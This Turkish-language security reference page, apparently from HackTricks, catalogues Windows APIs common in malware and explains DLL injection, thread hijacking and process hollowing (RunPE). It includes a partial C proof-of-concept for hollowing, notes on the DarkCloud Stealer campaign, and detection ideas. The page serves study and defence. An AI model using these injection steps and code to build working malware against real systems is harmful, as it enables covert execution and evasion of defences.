# Malware'da Kullanılan Yaygın API {{#include ../banners/hacktricks-training.md}} ## Genel ### Ağ | Ham Soketler | WinAPI Soketleri | | -------------- | ----------------- | | socket() | WSAStratup() | | bind() | bind() | | listen() | listen() | | accept() | accept() | | connect() | connect() | | read()/recv() | recv() | | write() | send() | | shutdown() | WSACleanup() | ### Süreklilik | Kayıt | Dosya | Hizmet | | --------------- | -------------- | ---------------------------- | | RegCreateKeyEx()| GetTempPath() | OpenSCManager | | RegOpenKeyEx() | CopyFile() | CreateService() | | RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() | | RegDeleteKeyEx()| WriteFile() | | | RegGetValue() | ReadFile() | | ### Şifreleme | İsim | | --------------------- | | WinCrypt | | CryptAcquireContext() | | CryptGenKey() | | CryptDeriveKey() | | CryptDecrypt() | | CryptReleaseContext() | ### Analiz/VM Karşıtı | Fonksiyon Adı | Assembly Talimatları | | --------------------------------------------------------- | --------------------- | | IsDebuggerPresent() | CPUID() | | GetSystemInfo() | IN() | | GlobalMemoryStatusEx() | | | GetVersion() | | | CreateToolhelp32Snapshot \[Bir sürecin çalışıp çalışmadığını kontrol et] | | | CreateFileW/A \[Bir dosyanın var olup olmadığını kontrol et] | | ### Gizlilik | İsim | | | ------------------------ | -------------------------------------------------------------------------- | | VirtualAlloc | Bellek ayırma (paketleyiciler) | | VirtualProtect | Bellek iznini değiştirme (paketleyici bir bölüme yürütme izni verme) | | ReadProcessMemory | Dış süreçlere enjekte etme | | WriteProcessMemoryA/W | Dış süreçlere enjekte etme | | NtWriteVirtualMemory | | | CreateRemoteThread | DLL/Süreç enjekte etme... | | NtUnmapViewOfSection | | | QueueUserAPC | | | CreateProcessInternalA/W | | ### Yürütme | Fonksiyon Adı | | ---------------- | | CreateProcessA/W | | ShellExecute | | WinExec | | ResumeThread | | NtResumeThread | ### Çeşitli - GetAsyncKeyState() -- Tuş kaydı - SetWindowsHookEx -- Tuş kaydı - GetForeGroundWindow -- Çalışan pencere adını al (veya bir tarayıcıdan web sitesini) - LoadLibrary() -- Kütüphane içe aktarma - GetProcAddress() -- Kütüphane içe aktarma - CreateToolhelp32Snapshot() -- Çalışan süreçleri listele - GetDC() -- Ekran görüntüsü - BitBlt() -- Ekran görüntüsü - InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- İnternete erişim - FindResource(), LoadResource(), LockResource() -- Yürütülebilir dosyanın kaynaklarına erişim ## Kötü Amaçlı Yazılım Teknikleri ### DLL Enjeksiyonu Başka bir süreç içinde rastgele bir DLL yürütme 1. Kötü amaçlı DLL'yi enjekte etmek için süreci bul: CreateToolhelp32Snapshot, Process32First, Process32Next 2. Süreci aç: GetModuleHandle, GetProcAddress, OpenProcess 3. Süreç içinde DLL'nin yolunu yaz: VirtualAllocEx, WriteProcessMemory 4. Kötü amaçlı DLL'yi yükleyecek bir iş parçacığı oluştur: CreateRemoteThread, LoadLibrary Kullanılacak diğer fonksiyonlar: NTCreateThreadEx, RtlCreateUserThread ### Yansıtıcı DLL Enjeksiyonu Normal Windows API çağrılarını yapmadan kötü amaçlı bir DLL yükleme.\ DLL, bir süreç içinde haritalanır, ithalat adreslerini çözer, yeniden konumlandırmaları düzeltir ve DllMain fonksiyonunu çağırır. ### İş Parçacığı Ele Geçirme Bir süreçten bir iş parçacığı bul ve onu kötü amaçlı bir DLL yüklemesi yapacak şekilde ayarla 1. Hedef iş parçacığını bul: CreateToolhelp32Snapshot, Thread32First, Thread32Next 2. İş parçacığını aç: OpenThread 3. İş parçacığını askıya al: SuspendThread 4. Kurban sürecinin içine kötü amaçlı DLL'nin yolunu yaz: VirtualAllocEx, WriteProcessMemory 5. Kütüphaneyi yükleyen iş parçacığını devam ettir: ResumeThread ### PE Enjeksiyonu Taşınabilir Yürütme Enjeksiyonu: Yürütülebilir dosya, kurban sürecinin belleğine yazılacak ve oradan yürütülecektir. ### Süreç Boşaltma (diğer adıyla **RunPE**) `Process Hollowing`, Windows kötü amaçlı yazılımları tarafından kullanılan en sevilen **savunma-atlatma / yürütme** numaralarından biridir. Fikir, **askıya alınmış** durumda *meşru* bir süreci başlatmak, bellekten (boşaltmak) orijinal görüntüsünü kaldırmak ve yerine **rastgele bir PE** kopyalamaktır. Ana iş parçacığı nihayetinde yeniden başlatıldığında, kötü amaçlı giriş noktası güvenilir bir ikili (genellikle Microsoft tarafından imzalanmış) kılığında yürütülür. Tipik iş akışı: 1. Hiçbir talimatın henüz çalışmadığı **askıya alınmış** bir benign ana bilgisayar (örneğin `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) oluştur. ```c STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); ``` 2. Kötü amaçlı yükü belleğe oku ve PE başlıklarını ayrıştırarak `SizeOfImage`, bölümleri ve yeni `EntryPoint`'i elde et. 3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – askıya alınmış sürecin orijinal görüntü tabanını haritalamadan kaldır. 4. **VirtualAllocEx** – uzaktaki süreç içinde `SizeOfImage`'in RWX belleğini ayır. 5. **WriteProcessMemory** – önce `Headers`'ı kopyala, ardından bölümler üzerinde dolaşarak ham verilerini kopyala. 6. **SetThreadContext** – `EIP`'nin yükün `EntryPoint`'ine işaret etmesi için `EAX/RAX` (`RCX` x64'te) veya `Rip` değerini bağlam yapısında yaman. 7. **ResumeThread** – iş parçacığı devam eder, saldırgan tarafından sağlanan kodu yürütür. Minimal kanıt konsepti (x86) iskeleti: ```c void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){ // 1. create suspended process STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi; CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi); // 2. read remote PEB to get ImageBaseAddress CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread,&ctx); PVOID baseAddr; ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL); // 3. unmap original image & allocate new region at same base NtUnmapViewOfSection(pi.hProcess,baseAddr); PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage, MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); // 4-5. copy headers & sections … // 6. write new image base into PEB and set Eip WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL); ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread,&ctx); // 7. run! ResumeThread(pi.hThread); } ``` Pratik notlar **DarkCloud Stealer** kampanyasında gözlemlendi: * Yükleyici, dikkat çekmesi olası olmayan imzalı bir ikili olan `RegAsm.exe`'yi ana bilgisayar olarak seçti. * Şifrelenmiş VB6 çalıcı (`holographies.exe`) diske *düşmüyor*; yalnızca içi boşaltılmış süreç içinde var oluyor, bu da statik tespiti zorlaştırıyor. * Hassas dizeler (regexler, yollar, Telegram kimlik bilgileri) her bir dize için **RC4-şifreli** ve yalnızca çalışma zamanında çözülüyor, bu da bellek taramasını daha da karmaşık hale getiriyor. Tespit fikirleri: * Bellek bölgesi **RWX** olarak tahsis edilmeden önce asla GUI/console pencereleri oluşturmayan `CREATE_SUSPENDED` süreçleri için uyarı verin (iyi niyetli kod için nadir). * Farklı süreçler arasında `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` çağrı dizisini arayın. ## Hooking - **SSDT** (**Sistem Servis Tanım Tablosu**), kullanıcı süreçlerinin bu işlevleri çağırabilmesi için çekirdek işlevlerine (ntoskrnl.exe) veya GUI sürücüsüne (win32k.sys) işaret eder. - Bir rootkit, kontrol ettiği adreslere işaret eden bu işaretçileri değiştirebilir. - **IRP** (**G/Ç İstek Paketleri**), bir bileşenden diğerine veri parçaları iletir. Çekirdek içindeki hemen hemen her şey IRP'leri kullanır ve her cihaz nesnesinin kendi işlev tablosu vardır; bu tabloya hook yapılabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu). - **IAT** (**İthalat Adres Tablosu**), bağımlılıkları çözmek için yararlıdır. Bu tabloyu hooklamak, çağrılacak kodu ele geçirmek için mümkündür. - **EAT** (**İhracat Adres Tablosu**) Hook'ları. Bu hook'lar **kullanıcı alanından** yapılabilir. Amaç, DLL'ler tarafından dışa aktarılan işlevleri hooklamaktır. - **Inline Hooks**: Bu türler elde edilmesi zor. Bu, işlevlerin kendisinin kodunu değiştirmeyi içerir. Belki de bunun başında bir atlama koyarak. ## Referanslar - [Unit42 – Yeni Enfeksiyon Zinciri ve DarkCloud Stealer için ConfuserEx Tabanlı Obfuscation](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/) {{#include ../banners/hacktricks-training.md}}